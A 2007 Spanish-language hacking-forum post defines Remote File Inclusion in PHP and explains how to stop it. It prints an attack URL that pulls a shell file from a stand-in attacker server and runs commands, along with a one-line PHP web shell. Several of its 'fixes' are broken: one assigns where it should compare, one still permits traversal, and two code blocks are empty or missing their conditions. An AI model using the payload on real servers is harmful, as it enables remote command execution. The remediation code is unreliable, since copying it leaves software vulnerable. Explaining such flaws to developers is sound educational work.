Inicio Foro Noticias Retos Articulos Grupos iHackerss Mapa Creditos Youtube
foros de discusión

Welcome Guest ( Log In | Register )

 
Reply to this topicStart new topic
> Remote File Inclusion (RFI), definicion....
goldenozaro
post Aug 4 2007, 07:42 PM
Post #1


 Mr. Oizo 
Group Icon


Group: Colaborador
Posts: 1,504
Joined: 25-April 06
From: La Ciudad Mas Violenta de Mexico, Cd Juarez
Member No.: 354



Bueno me tope con un post que hablaban de un RFI aqui les dejo para los que no sepan que es.

CODE
RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().
Este tipo de vulnerabilidad no se da en páginas programas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.

Resumen del ataque

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.
Una página vulnerable que presente un aspecto similar a este en su URL:
http://[servidor_victima]/index.php?page=plantilla.html
El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:
http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls
Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:
<?
  system($cmd);
?>
El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt, .gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión .php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.
Lo que la victima incluye en su pagina son secciones que se pasan a la variable page segun el ejemplo.
<?
  include_once($page)
?>

Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:
<?
  if ($url="seccion")
    include ($url.".php");
?>
ó
<?
  include ("./".$url.".php");
?>
ó
<?
  switch($url) {
    case 0:include ("./contenidos/estapagina.php"); break;
    case 1:include ("./contenidos/estaotra.php"); break;
    default: include("./contenidos/error.php"); break;
  }  
?>
ó
<?
  $url = intval($_GET['url']);  //$url solo contendrá un valor entero.
  $pagina = "./contenidos/cont".$url.".php";
  if (file_exists($pagina))
    include($pagina);
?>
Prevenir el Ataque

Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:
<?

?>
De esta forma no podría utilizar la variable page para RFI.

Otra Solución

Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.
<?

    die('Error. intento de RFI..');
else
    include ($url);
?>
Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.


--------------------
::Giösue Serran* & Co.::
goldenozaro@hackerss.com


Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic

 

RSS Lo-Fi Version Time is now: 10th September 2010 - 12:09 AM